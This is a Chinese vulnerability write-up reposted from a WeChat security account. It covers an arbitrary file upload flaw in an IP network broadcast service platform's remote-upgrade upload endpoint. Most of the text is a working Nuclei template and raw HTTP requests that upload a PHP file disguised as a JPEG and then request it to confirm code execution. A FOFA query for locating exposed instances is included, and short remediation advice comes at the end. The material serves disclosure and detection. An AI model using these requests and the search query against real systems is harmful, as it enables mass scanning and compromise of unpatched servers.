漏洞描述:
IP网络广播服务平台upload接口处存在任意文件上传漏洞。攻击者可通过上传包含恶意代码的文件到服务器,使恶意文件被执行,从而导致系统被入侵或遭受其他安全风险。
Nuclei POC
id: IP-wangluoguangbofuwupingtai-fileupload info: name: IP网络广播服务平台upload接口处存在任意文件上传漏洞 author: kingkong severity: high metadata: fofa-query: icon_hash="-568806419" http: - raw: - | POST /api/v2/remote-upgrade/upload HTTP/1.1 Host: {{Hostname}} Content-Length: 197 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiZYyyKkbwCxtHC1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://127.0.0.1/api/v2/remote-upgrade/upload Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 Connection: close ------WebKitFormBoundarytiZYyyKkbwCxtHC1 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/jpeg <?php echo md5(123456);@unlink(__FILE__);?> ------WebKitFormBoundarytiZYyyKkbwCxtHC1-- - | GET /uploads/remote_upgrade/{{fileUrl}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: dsl dsl: - 'status_code_1 == 200' - 'status_code_2 == 200' - 'contains(body_2,"e10adc3949ba59abbe56e057f20f883e")' condition: and extractors: - type: regex name: fileUrl part: body_1 group: 1 regex: - ([a-zA-Z0-9]{32}.php) internal: true
搜索语法
FOFA:icon_hash="-568806419"
界面如下
漏洞复现
访问验证
漏洞检测POC
POST /api/v2/remote-upgrade/upload HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Content-Length: 220 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7 Cache-Control: max-age=0 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiZYyyKkbwCxtHC1 Origin: http://127.0.0.1 Referer: http://127.0.0.1/api/v2/remote-upgrade/upload Upgrade-Insecure-Requests: 1 ------WebKitFormBoundarytiZYyyKkbwCxtHC1 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/jpeg <?php echo md5(123456);@unlink(__FILE__);?> ------WebKitFormBoundarytiZYyyKkbwCxtHC1-- GET /uploads/remote_upgrade/64e271d9204e814ba6f9094160d21e31.php HTTP/1.1 Host:
neclei批量检测截图
修复建议
1、文件类型验证:仅允许上传特定类型的文件,例如图像、文档等,并拒绝可执行文件或其他潜在的恶意文件类型。
2、文件大小限制:限制上传文件的大小,以防止恶意用户上传过大的文件导致服务器资源耗尽。
3、文件名处理:对上传的文件进行重命名,避免使用用户提供的文件名,以防止路径遍历攻击。
原文始发于微信公众号(脚本小子):IP网络广播服务平台upload接口处存在任意文件上传漏洞【漏洞复现|附nuclei-POC】
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